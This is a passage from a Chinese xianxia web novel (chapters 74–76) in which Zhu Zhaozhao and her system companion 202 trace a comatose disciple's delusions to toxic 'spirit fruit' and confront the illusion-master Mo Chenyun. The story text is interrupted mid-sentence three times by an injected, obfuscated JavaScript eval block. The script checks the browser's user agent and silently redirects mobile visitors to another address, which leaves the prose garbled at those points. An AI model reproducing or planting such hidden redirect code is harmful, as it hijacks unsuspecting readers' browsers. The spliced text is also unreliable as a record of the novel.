对白月书和云珈倒是可以不用隐瞒太多,叮嘱202做好地图记录,祝昭昭答:“嗯,确实没来过。” 云珈充分发挥她的好奇心:“那这几天你都去哪了?” “去散步。”祝昭昭速答,“到处走走。” 听到这里,一旁的白月书突然开口:“前两天我看到有个背影和你很像的人,走在一条很少有人走的路上。” 那是少见的几次没隐身探路。祝昭昭很坦诚:“对,是我。” 白月书立刻:“所以你那时走到路中间,被突然飞出的飞虫吓到,差点摔进路边草丛?” 沉默。 死一般的沉默。 此刻,祝昭昭只恨自己刚才承认得太坦荡。 然而开弓没有回头箭,在左右两边极具存在感的目光里,她只能承认:“……是。” 又是一阵长久的沉默。 最后,白月书拍拍她肩膀,语重心长:“下次走路千万小心。” 祝昭昭感觉自己的声音在微微颤抖:“知道了。” 好在这令人发指的气氛并没有持续太久。 因为云珈很快指着个地方,表情惊恐:“诶,他怎么不在那了?” 祝昭昭和白月书齐齐顺着她手指的方向望。 白月书皱起眉头:“那人确实不在原处了。” “可怎会如此,他明明已经无法自行走动,怎么会突然消失?” 望着那个方向不算少的,正盘膝打坐的修士,祝昭昭尝试猜测原因:“也许他中途苏醒后见周围人太多,自己离开了也说不定?” “不可能。”云珈斩钉截铁,“我和月书师姐盯他两天了,中间一点要醒的迹象都没有。” 白月书虽没说话,但也点头表示赞同。 祝昭昭看着两人,一时只觉得汗流浃背。 不是,两天没醒是两天的事,那第三天人家休息够了再醒来,是什么难以想象的事吗? 而且你俩为什么要盯人家啊? 还两天? 幻境影响就这么伤脑子? 出洛水后还治得好吗? 感觉脑瓜子嗡嗡响,祝昭昭哄小孩子似的:“……总之我们先去看看吧,问问其他人。” 打定主意,三人很快朝碧波潭走去。 刚到潭水边,一些还未入定的修士已经认出云珈和白月书。互相打过招呼后,他们自发让出位置给祝昭昭等人。 罢手谢绝修士们的好意,祝昭昭选了个看着相对憨厚面善的修士开门见山问:“请问这位……” 云珈半个身子歪到她身旁插话:“陈煦。” “陈修士。”祝昭昭微笑,“请问这里之前是不是有一个……” 白月书提示:“男人。” “一个男人。”祝昭昭眼神落在云珈刚才手指那处,“在这入定了两天,今天却见不到他人了。” “您知道那男人去哪了吗?” 顺着祝昭昭视线望去,陈煦面露难色:“这……我也是刚结束入定,并不太清……” 他话还没说完,另一个正在潭边取水的男人便高声:“你们说的是周定吧。” 云珈立马应声:“对对对,就是他。” 被她大嗓门惊得侧目,祝昭昭不禁发出灵魂质问—— 既然你知道那男的叫什么,刚才为什么一直他来他去的啊? 在玩什么猜谜游戏吗? 这边祝昭昭偷偷吐槽,那边取水的男人继续高声:“他原地打坐两天,大家原以为他是在修炼。没想到昨天整个人突然倒地在上,把大家都吓了一跳。” 云珈顿时大惊失色:“真死了啊?!” “没死。”男人豪爽一笑,“大家查看后发现他只是睡着了,就把他扔……抬到边上的山洞里去了。” 没错过男人脸上一闪而过的心虚,祝昭昭:…… 这大哥刚才是说了‘扔’吧? “原来如此。”白月书朝男人行抱拳礼,“多谢李大哥提醒。” 男人摆摆手:“没事。” 三人于是转身去了男人口中的洞口。 也的确看到了一具躯体摆在洞中。 至于为什么说是‘一具躯体’? 目光从洞中唯一外来物上收回,祝昭昭很难形容此刻的心情:“谁给他把白布盖过头的?” “不知道。” 掀开白布一角,云珈确认布底下的人就是周定:“可能是在提前做准备?” “毕竟大活人很难睡得这么直挺挺的吧?” 边说边从地上随手捡了根树枝,云珈戳了戳周定:“嗯,还硬邦邦的,更像了。” 像个头啊! 祝昭昭扶额。 走到云珈对面蹲下,祝昭昭扯落白布:“你们为什么这么关注这个叫周定的人?” 她想问这个问题很久了:“他帮过你们吗?” “对呀。” 把被祝昭昭扯乱的白布拍拍平,云珈准备将布重新盖过周定头顶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280556|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而在祝昭昭的眼神警告下,白布最后只停在他脖颈:“我和月书师姐刚到碧波潭的时候,就是他主动和我们打招呼。” 云珈话不停:“他人可好了,不仅带我和月书师姐很快和其他人熟悉起来,还告诉了我们很多关于洛水镇的事。” 点点头,祝昭昭伸手探周定鼻息:“比如?” “哎呀,那可多了。”云珈晃晃脑袋,“过几天再一起说吧。” 祝昭昭于是没有再问。 大概探查了一遍也没找到周定昏迷的原因,祝昭昭直接叫202继续查:“所以你们这几天碰见的人里,就属他最热情?” “当然不是。”云珈否定得很爽快,“其实洛水镇的人都挺热情的,只要不问得太冒犯,他们一般都会答。” 祝昭昭皱起眉:“那你们为什么……” “因为他很奇怪。” 这次开口的是白月书。 奇怪? 祝昭昭不解的目光落在她身上。 缓步走到祝昭昭身旁蹲下,白月书垂眸望着地上的周定:“嗯。” 祝昭昭不太理解白月书的意思:“奇怪是指?” 白月书闻言默了默,像是在考虑怎么说更合适:“三天前,他说……” “神很快就要来接他。” 神? 祝昭昭心里突然咯噔一下。 迟疑着,她缓缓开口:“神是指……” “不知道。” 白月书话音淡淡:“我们也试着问过他神指的是谁,可刚问完,他就突然盯住我,问我为什么不知道神。” “没错。” 显然被白月书的话勾起什么不好的回忆,云珈抬手摸了摸臂膀,“昭昭你没见到那场面你不知道,他眼睛直勾勾盯着我和月书师姐,可吓人了。” “跟要生吃我们似的。” 她心有余悸:“要不是月书师姐反应快转移话题,我们那天麻烦就大了。” “为什么不认识神……”想到什么的祝昭昭,“他在洛水待了一段时间,但并不长吧?” “对啊,听说小半个月。”说着,云珈突然反应过来:“昭昭你怎么知道?” 怕麻烦的祝昭昭:“猜的。” “哦,好吧。”云珈重新低头玩树枝,“那我让月书师姐继续说。” 白月书于是接过话头:“其实如今细究起来,他的怪异之处不止三天前那句话。” “从我们与他熟络以后,就常常听到他夸赞洛水。不仅如此,有时说到兴起,他甚至会直言眀梧宗不如洛水。” “你能想象吗,昭昭。” 白月书眉头紧锁:“他身为眀梧宗弟子,竟然说眀梧宗不如洛水镇一个普通的小镇。不仅如此,还天天把神挂在嘴边。” “说神选中他守护洛水。” 目光长久落在周定脸上,祝昭昭沉默。 就在这时,她脑内突然传来202的叮嘱:“主人,忘记跟你说了,仪器检查的时候要求受检者不能完全清醒,你注意一下。” 祝昭昭言简意赅:“行。” 这当口她耳旁传来白月书的叹息:“总之,他既然没事,那稍后或是什么时候醒来,我们再找方法问问他神究竟是什么吧。” 她话音刚落,对面云珈就突然注意到什么:“诶,周定好像动了。” “是么?” 闻言精神一振,白月书准备收起周定身上白布:“那我们先把他扶起来,再……” 再没后文。 因为下一秒,祝昭昭面无表情地朝周定抬手一拳。 速度之快,白月书甚至还没反应过来,周定的脖颈已经软下去。 祝昭昭在两人震撼的目光里微笑:“我觉得他还可能需要多休息。” 话落从白月书僵住的手里接过白布,她将之无比丝滑地一路盖过周定头顶。 “好啦!” 74. 这果子味道不错 这次探寻薛定谔死人之行,以三人将周定在洞中安顿妥当,让他自己清醒告终。 从山洞出来,祝昭昭很快找了个理由单独开溜。 而当她返回客栈房间关上门的同时,202对周定的检查结果,也刚好出来—— “他身体各项机能都非常活跃,尤其是大脑。” 202仔细看着面前投影结果上密密麻麻的字:“但这种活跃并不正常,更像是身体被什么东西持续刺激,强行透支的结果。” 持续刺激…… 祝昭昭若有所思:“说下去。” “这种异常刺激状态,在十五天前是没有的。” 202继续:“根据检查结果显示,山洞里那个男人的身体各项机能指标在十五天前,一直处于正常水平,之后才开始上升。” “但出现异常的十五天内,变化却并不呈逐渐增长模式。” “主人你看这里。”202特意把一段结果内容标红,“前七天,男人的各项机能指标基本维持在一个高,但相对稳定的水平。直到第八天——” “一个大爆发点突然出现,之后各项指标才一路飙升,直到我们今天给他做检查。” 盯着202口中的‘大爆发点’看了一会儿,祝昭昭突然注意到什么:“他体内有神经毒素存在?” “主人你说这个啊。”202顺着祝昭昭视线看过去,“对啊,从各项机能指标开始上升的第一天,他体内就有微量的神经毒素存在。” 祝昭昭手指顺着结果波形滑动:“神经毒素的含量和身体机能变化波形几乎是重合的。” 202:“没错。” “那我可不可以认为……”祝昭昭敲敲波形图最高点,“是神经毒素的刺激导致他身体产生变化?” “可以这么说。”202表示赞同,“当然,也有可能是身体变化逆向刺激神经毒素分泌。” “不太可能。” 出乎预料的,祝昭昭否定了202的看法:“十五天前,他体内还没有神经毒素的存在,这东西必然是外来物。” “并且神经毒素含量的最高位,在身体机能变化波峰来到最高点前。” 祝昭昭边说,边走到桌旁坐下:“这说明是神经毒素的突然增量,大大刺激了他的身体。” “他的种种反常举动,很明显是因为迅速增量的神经毒素。” “原来如此。”没有反驳祝昭昭的话,202飘到她身旁,“那按照主人你的看法,你觉得这种神经毒素应该是什么存在,又是以什么方式被他摄入的?” 祝昭昭并未第一时间接话。 空气安静下来,她思忖着,指节下意识轻扣桌面。 一下接一下的敲击声中,202从刚开始的满怀期待到后面渐渐松懈,最后百无聊赖地准备找点乐子自娱自乐。 也就在这时,祝昭昭终于动起来。 “……是灵果。” “什么?”一下没反应过来的202呆呆望着祝昭昭。 “我说,”祝昭昭一言难尽地斜了眼202,“周定体内神经毒素的来源,应该是灵果。” “这么说的话还真是。”202恍然大悟,“虽然上周目没具体透露过灵果怎么发挥作用,但确实提过灵果有毒。” “没错。” 祝昭昭一手托腮,一手点在投影出的检查结果:“按照在山洞时云珈和月书师姐的说法,周定来的时间并不长,大约是小半个月。” “这与他检查结果显示的变化刚好对得上。” “以及——”祝昭昭盯着投影被自己戳出的涟漪,“态度过分热情活跃,出现幻觉产生谵妄,思维偏执胡言乱语……” “这都是大脑出现问题的表现。” “结合食用灵果会让人修为大增的特点。”祝昭昭不紧不慢道出最后结论,“导致周定昏迷的原因,基本就是食用灵果。” 202‘嗯’了一声:“主人,不是我不相信你,但你有什么办法验证这个结论吗?” “当然。” 祝昭昭指指自己:“对照组不就在这里?” 话落,她补充:“如果你担心我不够有说服力,那我这里还有刚才沾上的,月书师姐的头发。” “你可以一并拿去检查对照。” 祝昭昭话都说到这份上了,202也不打算再跟她客气。 因为主系统本就有祝昭昭的身体情况数据,重新检查会很快,于是它选择先从祝昭昭手中接过那几根白月书的长发。 等待检查结果的间隙,祝昭昭盯着202半感慨地说:“要是现代世界也就算了,修仙世界这种寿命可以被无限拉长,人体已经没有正常代谢的位面,竟然也能查出身体问题来。” “果然不论看几次都觉得很神奇。” 202闻言得意洋洋:“哼哼,那是当然。” “肉身毁灭、不存在或失去效用,只是普通人的概念,对于我们位面系统来说,只要人体仍在活动,就一定能监测到相应变化。” 祝昭昭笑,很配合地继续问下去:“那么灵魂或精神体呢?” 202想都不想:“肯定是一样的呀,只是监测方式会有差别而已。” 对话结束的同时,白月书的检查结果也出来了。 “白月书的体内确实不存在那种神经毒素诶。”202很惊讶。 祝昭昭却表示毫不意外:“不看看我?” “哎呀,不需要。”202盯着白月书的检查结果,“主人你这架势一看就没问题,肯定健康得跟牛一样。” 什么叫‘健康得跟牛一样’?! 狠狠啧了声,祝昭昭差点直接给202一顿电。 “总之。”最后还是坐回椅子上,她没好气地,“周定应该就是因为吃了灵果后中毒,效果和幻境影响叠加,导致出现了一系列幻觉。” “那些身处洛水镇的人会对洛水镇产生过分认同,不出意外也是这个原因。” 见祝昭昭没有再追着自己的意思,202试探着飞回她身旁:“没错。和主人你一起的那些人之所以能坚持到现在还没被同化,没吃灵果很重要。” 它说着,叹了口气:“不过说是这么说,但再怎么猜灵果和洛水的关系,都不如亲自研究灵果有用。” “要是我们现在有灵果就好了。” 祝昭昭闻言点头:“嗯,我也觉得。” “所以……” 在202不可思议的目光下,祝昭昭从袖中摸出一颗饱满而鲜红的小果子。 将果子捻在指间滚动,她笑得狡黠—— “你看这不就有了?” * 祝昭昭决定今晚就把灵果吃掉。 担心节外生枝,于是她一个下午都没出门,直到夜幕降临。 桌上烛火静静燃烧,祝昭昭躺在床上,一手枕在脑后,一手捏着灵果。 小巧的果子在暖黄烛光的映衬下更显鲜艳,她盯着灵果出神。 202也看着灵果:“这么漂亮的果子威力却那么大,还真是果不可貌相。” “主人你确定这东西吃下去没问题吗?”202说着,态度有些犹豫,“要是一会儿吃出毛病了,后面任务还怎么做啊?” 祝昭昭闻言半开玩笑地:“交给其他人做呗,男女主大反派都在,你怕什么。” 202简直无力吐槽:“主人,你正经点好不好。” 祝昭昭笑得在床上滚。 “好了,不逗你了。”她擦去眼角笑出的泪,“根据现有例子来看,灵果与幻境影响应该是相辅相成的。” “而我对幻境免疫,灵果的威力在我身上自然大打折扣。” 说着拍拍202,祝昭昭语气轻松:“当然,如果你是担心神经毒素对我身体有害,那更不必。因为一颗灵果的毒素量不会太多。” “所以你还有没有其他问题?” 202:“……没有了。” “那么做好数据收集准备——” 指尖轻巧将灵果扔进口中,随着清甜的汁水在嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280557|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里扩散开来,祝昭昭闭上眼。 “我们这就开始。” * “昭昭,快走!” 凄厉的喝声将祝昭昭惊醒。 入目便是几乎已成废墟的守元殿,望着被斩出巨大缺口的殿门,她半天没缓过神来。 直到方才的喝声再次响起—— “昭昭,你还愣着干什么,快走啊!” 祝昭昭整个人一抖,视线下意识顺着声音来源望去。 是大长老。 平日总是动不动就抹泪的人此时脸上满是厉色,司星死死盯着祝昭昭:“带上你师父,现在就从后门离开!” 他话音刚落,殿外就猛然传来声巨响。 整个守元殿都因这响声颤抖起来,引得司星脚下一个趔趄:“青鱼已经替你们算好下山的路,你顺着碧玉路引的指引一路下山即可。切记——” “不要回头!” 他说完,像是察觉到什么般扭头看向殿外,继而整个人消失在原地。 也就在同一时间,殿外再次传来令人胆寒的巨大撞击声。 下一秒,暴烈的灵力乱流冲进殿内,如入无人之境般席卷整个守元殿。 桌椅摆设顷刻化作齑粉,长柱屋梁瞬间多了道道深长裂痕;殿顶琉璃瓦如雨落般纷纷跌下,碎裂之声掺着不住落下的粉尘,与殿外令人心惊的打斗响动一起,让祝昭昭打从心底毛骨悚然。 狠狠咬紧牙关,她拉起一旁的闵月转身就跑。 在天玄山的这些年,让祝昭昭对守元殿的构造了如指掌。司星的话犹在耳边,她当机立断祭出法宝带自己和闵月瞬移到后门。 却依旧不够快。 感受着脖颈边传来的冰冷气息,祝昭昭停住了将要推开门的手。 “不推么?” 身后响起的男声明明无比温和,却让祝昭昭无法控制地浑身发毛。 死死盯着门上繁复的花纹,她深吸口气后,一把将之推开。 男人轻笑起来。 只当没听见那意味深长的轻笑,祝昭昭转身,并借机将闵月护在身后。 “你在害怕?” 收起剑,男人像是发现了什么有意思的事:“传说中能通晓古今,预言世事的天玄山圣女……” “竟然也会害怕?” 把闵月更往身后藏了藏,祝昭昭语调淡淡:“能力再大亦为肉/体凡胎。人皆有七情六欲,为什么不怕。” 像是听见了有意思的话,男人唇角微弯:“可若你早早便能预知到你有今日,为何会怕?” “还是说……”他笑意渐深,“你从未想过有朝一日,我会站到你面前?” 身侧的手紧握成拳,祝昭昭直视男人双眼。 “慕行秋,你若对我有怨,大可冲我一人来便是。” 她一瞬有些疲惫:“为什么要这样对天玄山。” “昭昭……”闵月拉住祝昭昭袖口。 “冲你一人?”若有所思地重复了一遍,慕行秋微微颔首,“确实,你说得不无道理。” 没想到他会这么回答,祝昭昭精神一振:“对,所以——” “可是。” 慕行秋弯起眉眼,柔和语气说出的话,却无比冰冷:“我为什么要听你的。” 瞬间抿紧唇,祝昭昭沉默地盯着他。 慕行秋亦不避不闪与她对视。 “我明白了。”祝昭昭叹息闭眼。 下一秒,空间静止。 祝昭昭则抓住这停滞的刹那,启动瞬移法器送闵月离开。 静止结束的刹那,她胸口一空。 冰冷到令人打颤的感觉,顺着没入胸口的长剑蔓延至四肢百骸。血腥气从喉间传来,祝昭昭抬头看着慕行秋。 他仍旧在笑,眼底却一片阴沉:“圣女,干得不错。” 祝昭昭于是也笑。 想覆灭天玄山? 去你妈的,我偏不遂你愿。 顿时只觉心头一阵畅快,祝昭昭放任意识彻底消失。 75. “把主人的睡相发进工作群吧~” “主人,主人?” 很熟悉的声音。 “主人你醒醒啊,时间差不多了主人……” 祝昭昭不耐烦地皱眉,侧头装听不见。 声音主人因此安静了片刻,再响起时,语气从焦急变成了试探。 “真叫不醒啊?” “那拍下来偷偷发进工作群吧,谁让主人上次也传我的。” 祝昭昭瞬间猛睁开眼。 和202头顶探出的摄像头大眼瞪小眼,她几乎是慢动作地,一点点将视线移到202正脸。 和祝昭昭仿佛在看已死之人的目光对上,202抖得像筛糠:“主人我可以解——” 刹那爆开的电光点亮整个精神空间。 慢条斯理地戴上墨镜,祝昭昭愉快地欣赏202被电成灯泡的景色。 直到电击结束,202从空中掉到地上,她才移开墨镜。 紧接着掏出手环,熟练地给被电得黢黑的202拍了张照,最后哼着小曲发进工作群。 接到消息提示音的202打开工作群,哀嚎声顿时响彻整个精神空间。 “叫什么,这不是你要求的吗?” 刷着工作群的回复,祝昭昭脸上露出笑容:“你看看,群里大家都在夸你。” 202瞬间来了精神:“他们夸我什么?” 祝昭昭笑得更开心了:“夸你的新皮肤像斑点狗。” 202嚎得更大声。 “好了别嚎了,谁叫你先不老实。”收起手环,祝昭昭不耐烦地揉揉耳朵,“赶紧回归正题。” 抽抽嗒嗒的202:“哦。” 变出张沙发窝进去,祝昭昭问:“从我睡下开始,到现在过了多久。” “两小时。”202顺手调出计时器,“比上次要长三十分钟。” “而且从全程的脑电波来看,两小时里主人你好像一直沉浸在幻境里,并没有注意到问题?” 202越说越意识到什么:“如果不是我发现主人你睡的时间好像太长了,试着叫醒你……” “你还会继续沉浸在幻境里?” 它倒吸口凉气:“一颗就能做到这种程度,灵果的效果也太强了吧?!” 没人回答,空气静得落针可闻。 表演半天也不见祝昭昭给点反应,202最后安静下来,凑到她旁边:“所以主人你在幻觉里碰到了什么?” 这次祝昭昭终于给了它一点反应:“复习了一遍上周目是怎么被慕行秋捅个对穿的。” 202顿时闭上嘴。 等了半天都没等到祝昭昭阴阳自己,它才小心翼翼继续:“……那主人你真的一点都没反应过来自己在幻境里嘛?” 是,也不是。 交叠的双手无意识用拇指画圈,祝昭昭目光放空:“被捅死前都没察觉到什么,但死之后就听到你嚷嚷了。” 202一阵无语:“所以主人你的意思是……” “意思是如果幻境主人再次以不存在的角色进入我的幻境,还是会被我发现。” 祝昭昭若有所思:“不过在属于我的完整记忆里,我确实意识不到幻境存在。” 202:“那幻境对主人你的影响是?” 祝昭昭:“没影响。” 一人一机沉默着对视。 “但这还是可以证明灵果能辅助增强幻觉的真实性。”祝昭昭更往沙发里窝了窝,“如果我真是这个位面的一员,修为不够的情况下应该也会沦陷。” 想起原身的属性,她补充:“……虽然也不会沦陷太久就是。” 202哼哼两声当做回答,空气再次安静下来。 过于寂静的空间里,祝昭昭得以感受到胸腔里跳动的存在。 她忽然生出种错乱的感觉。 明明是同一个人,明明脸上同样常挂笑容,但幻境里的他却冰冷而淡漠,眼底的游离让人感受不到半分人气。 而祝昭昭越是想把那个曾经杀了自己的,毫无人气他刻在心底,另一个真实的,也许此刻正在对面房间休憩的他,就越会以一种不可抵抗的姿态占据脑海。 哪怕这个真实的他总是阴阳怪气,手段繁多,还和自己一样满藏秘密—— 却同样鲜活。 他会真心实意地笑,会生气,会把身为大师兄的职责铭记在心,好好地照顾着师弟妹,甚至还会…… 鼻间忽然飘过股奶茶的甜香,祝昭昭回神。 她盯住202:“你干嘛。” “前两天柳雨露那家伙托628让我给你带新口味奶茶。” 不敢说自己以为祝昭昭刚才的安静是在回忆被杀过程,担心她越想越气会教训自己,才试图用奶茶赔罪。202小声比比:“我刚想起来。” 它把杯子往祝昭昭方向递:“主人你尝尝?” 斜了眼202,祝昭昭最后还是接过杯子抿了口。 嗯,果然不是薄荷味的。 喝完突然发现自己刚才在想的是什么,祝昭昭顿时怒瞪杯子。 再次狠狠喝了一大口,她恼火:“幻境主人到了没。” “到了。”202如果有脖子,这会儿早吓得缩起来,“被屏蔽在外面转圈呢。” “放他进来。”祝昭昭咬牙切齿,“敢给我搞死亡回放,不给他点颜色看看,他就不知道自己到底几斤几两。” * 莫沉云已经在黑暗里徘徊了很长时间。 作为洛水镇真正的掌控者,在洛水镇已经完全能够做到独立运转的今天,他其实并不需要再亲自出手做太多事。 除了编织幻境。 但事实上,并不是谁都有资格体验他亲手编织的幻境。洛水镇内更多的人,都只配陷入镇内环环相扣的循环中。 那些强大的,特殊的,能敏感地察觉到洛水镇里隐藏陷阱的人—— 才是值得他亲自出手的对象。 不过这类人并不多,至少在洛水镇运转的这数年里,他见到的并不算多。 确实会有一些人刚开始能察觉出端倪,可这些人最后也会在日复一日的美妙体验里渐渐沉沦,都不用他出手,就被彻底同化。 不过凡事总有例外。 比如这次的一批新来客里,就有一个意志力与修为同样叫人侧目的人。 慕行秋。 不过他并不意外,毕竟他对慕行秋也略有耳闻。 剑宗惊才绝艳的大师兄,身怀有趣血脉的剑修天才…… 如果不是有人警告过他,不许对这位剑修天才做多余的事,他还真想对这位天才做点什么。 然而凡事没有如果。如今他唯一能对这位剑修天才做的,就是亲自引其入幻境。 还连这都做不到。 莫沉云眼底闪过一丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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直到进入幻境前,他自己也不知道幻境里究竟有什么。 而即使模拟体验过那么多人记忆里的温度,眼前这个地方对他来说,依旧是最冷的。 这种阴冷如同从地底透出,幽魂般附在他身上,悄无声息地钻进他每一寸骨缝。 待到他终于反应过来的时候,四肢百骸早已被这种极度的阴冷占据,就连血液也被冻结。 但他莫沉云是什么人? 虽说温度够不上,但若论记忆,更极端的他都见过,最后不照样全身而退。 更何况眼前的幻境只是一个可能元婴都不到的年轻修士的,再可怕又能可怕到哪去? 不过是装腔作势罢了。 思及此,莫沉云顿时信心大增,抬手推开了面前漆黑无纹的厚重木门。 就让他来看看,这个幻境的主人,正以何种凄惨的姿态在等待他的解救吧。 有风随着被推开的门吹上莫沉云的脸,下一秒,凄厉的哭喊声响彻整个空间—— “救命啊!!” 76. “啊啊啊啊有鬼!” 突如其来的呼救声如利刃划破寂静空间。耳中顿时刺痛,吓了一跳的莫沉云条件反射地循声望去。 接着就看见一道黑影正快速朝自己这边过来。 很快反应过来黑影就是那惊恐女声的主人。经验丰富的莫沉云立刻低头调整表情,准备温柔地迎接并安慰她。 然而他低头的当口,黑影已经冲到跟前。 下一秒,胸口传来重重的撞击感,巨大的冲击力让莫沉云整个人直接往后飞了出去。 彼时那终于调整好的,准备用来安慰女子的和善笑容,甚至还挂在他脸上。 “啊,你没事吧?” 脚步声在不远处停下,惊恐中带着试探的细弱声音响起,让被头槌送到地上的莫沉云闻言神色微僵。 废话,他看起来像没事的样子吗?! 深呼吸,莫沉云忍着火抬起头。 他强装笑脸:“我没事。” “是,是吗?”女声依旧小心翼翼地,“可是你笑得好可怕哦,看起来像,像……” “像□□追债的。” 莫沉云身形一顿。 虽然不知道□□是什么东西,但‘追债的’三个字,他是听懂了的。 竟敢说他像讨债的?! 谁家讨债的能长成他这样?! 莫沉云咬牙。 想他在无数幻境中穿行数十载,但凡修为比他低的,哪个人在幻境中见了他不感激涕零?! 从未! 从未有人说他可怕过!! 眼前这个臭丫头竟敢……! 想到这,莫沉云又是一阵火大。 然而随意发作会打草惊蛇,加上那臭丫头的视线一直都在,莫沉云忍了又忍。 最后只能努力让自己面部肌肉放松后再微笑:“是么?” “许是方才我乍然倒地,一时还未调整好表情罢。” “这,这样吗?” 女子点点头,盯了莫沉云片刻后小声:“要不你还是别笑了……真的。” “你现在更像□□了。” 莫沉云:…… 他选择换个话题:“敢问姑娘芳名,方才又为何呼救?” “我叫祝雨。” 果然被转移了注意力,女子重重一合掌:“对了!跟你说半天话我都忘了!” “这里有鬼!”祝雨一把抓住莫沉云袖口。 她看起来真的很恐惧:“我刚才正在房间睡觉呢,突然感觉有人站在旁边。我一睁眼……” “一个女人头就在我枕边!” 扬声的同时猛地将莫沉云衣袖抓得更紧,祝雨瞪大双眼死死盯着他:“那女人头的眼眶里还在流血!太可怕了!” 祝雨说得情真意切,莫沉云却不以为意。 呵,区区野鬼就能将修士吓成这幅模样? 未免有些太过可笑。 艰难地从祝雨手里扯回自己衣袖,莫沉云努力柔声:“不过孤魂野鬼,道友何须如此惊慌?” “用灵力驱散便是。” “什么道友,什么灵力?”祝雨不解,“你在说什么啊?” 莫沉云闻言一愣。 下意识移动视线,他这才发现女子身上穿的竟不是白色里衣,而是一条同色的,怪模怪样的长裙。 不止如此。目光再转,他又看见祝雨头上挂着个横着的,葫芦模样的白布做成的东西;脚上穿着的也不是布鞋,而是…… “你脚下怎生的两团白毛?” “什么白毛?”祝雨低头,接着不可置信地扬声,“这是拖鞋!毛绒拖鞋!” “你什么情况啊?” 这下不止是祝雨,就连莫沉云也懵了。 平整四方的墙,木制却无花纹的横柜;墙上贴着的,不知出自谁手的,身着奇装异服的男女画像;还有身旁的,形似琵琶却更大的不知名乐器…… 看着周围迥然于认知的环境,终于意识到不对的莫沉云一时竟不知道怎么接话。 他没见过这样的地方。 这究竟是谁的幻境? 可现在纠结这个也没用,他最后憋了半天,只能把话题拉回野鬼:“……各种情况暂且不提,但有关野鬼一事,还请祝姑娘放心。” 他很快进入状态:“我必会将之解决,以保护祝姑娘。” 可他信誓旦旦的保证,却只换来祝雨半信半疑地挑眉:“是不是真的啊,毛绒拖鞋都不知道的家伙……” 剩下的话没说完,因为不远处突然传来阵阵异响。 随着空气迅速变得冰冷,祝雨立刻跳到莫沉云身后:“她来了她来了,救命救命。” 被祝雨抓得整个人一个趔趄,莫沉云艰难站稳并安慰她:“祝姑娘莫怕,我必……” 极具存在感的视线突然出现在侧面方向,眼尾余光瞄见一团模糊黑影,莫沉云顿时一个激灵。 他竟然没发现有东西靠近! 迅速平复好情绪,莫沉云扭头,刚想正面对上那团黑影,身后祝雨就又惊叫起来。 “啊啊啊!” 耳朵瞬间刺痛,有点装不下去的莫沉云脸色一变就想发作。 然而他还没来得及开口,脚下就突然悬空,整个人调转方向,来到黑影对面。 在极度恐惧之下,祝雨居然把他整个人抬着转了起来! 这回轮到莫沉云惊恐万分。 但这份惊恐并未持续太久。 被动转回来的脸正对上一颗披头散发的头颅。看着那空荡荡的眼眶和眼眶下的两条扭曲血痕,莫沉云表面一片平静,实则内心已经翻起惊涛骇浪。 哪怕他已见惯各种死状的尸首,却不代表乍一和这种东西近距离对上,他也能云淡风轻。 实在有碍观瞻啊! 他因此浑身难受的当口,身后传来祝雨结结巴巴的话音:“怎,怎么了?你还好吗?” “她看起来是不是,是不是特别恐怖?” 莫沉云闭眼深呼吸:“还……” 后接的‘好’字在闻到一阵扑鼻腥臭时咽回嘴里。眼看女鬼离自己越来越近,被祝雨死死抓着肩膀退无可退的他再也绷不住了—— “祝姑娘,请你放开我!” “哦。” 祝雨讪讪松手。 没好气地松松筋骨,望着对面已经整个头三百六十度旋转,下巴和头顶对调并不断上下咬牙发出‘咔咔’声的女鬼,莫沉云顿感恶心。 这怪异之地,鬼也格外叫人倒胃。 心头一阵厌烦,他朝女鬼抬手,口中淡漠敷衍:“祝姑娘莫怕,我这就将之收……” 他的灵力呢? 望着空空如也的掌心,莫沉云怔住。 犹不敢信的他再次尝试催动灵力。 还是没有。 灵力竟然消失了?! 空气陷入一种诡异的沉默。 收回手,他试图向明显开始警觉起来的祝雨解释:“祝姑娘,我……” 下一秒,似是知道面前人没了手段的女鬼猛地暴起。 手脚并用如蜘蛛般从地上弹身而起,女鬼一张嘴张成不可思议的大小朝莫沉云和祝雨咬来。 几乎已经能感受到被女鬼一口烂牙咬住的疼痛,莫沉云护着祝雨后退:“祝姑娘,我们先走为上!” 他刚说完,身后突然袭来劲风。 莫沉云反射性闪开,就眼睁睁看着一道残影‘砰’声砸在地上。 他怵然,顺着残影抬头看,就见祝雨紧闭双眼,正两手抓着不知道什么时候拿到的吉他在疯狂乱砸。 物什砸落地面引起的声声巨响在空气中炸开,祝雨狂乱的话音同时响起—— “啊啊啊,别过来,别过来啊什么鬼,什么东西啊我明明才搬过来没两天房租还贵得要死……” “别靠近我啊啊啊!!” 惊吓过度的她速度快力气又大,吉他被她舞得虎虎生风。 若是能伤到女鬼就算了,然而实际上闭着眼的她将大部分攻击都落在了莫沉云身上,打的 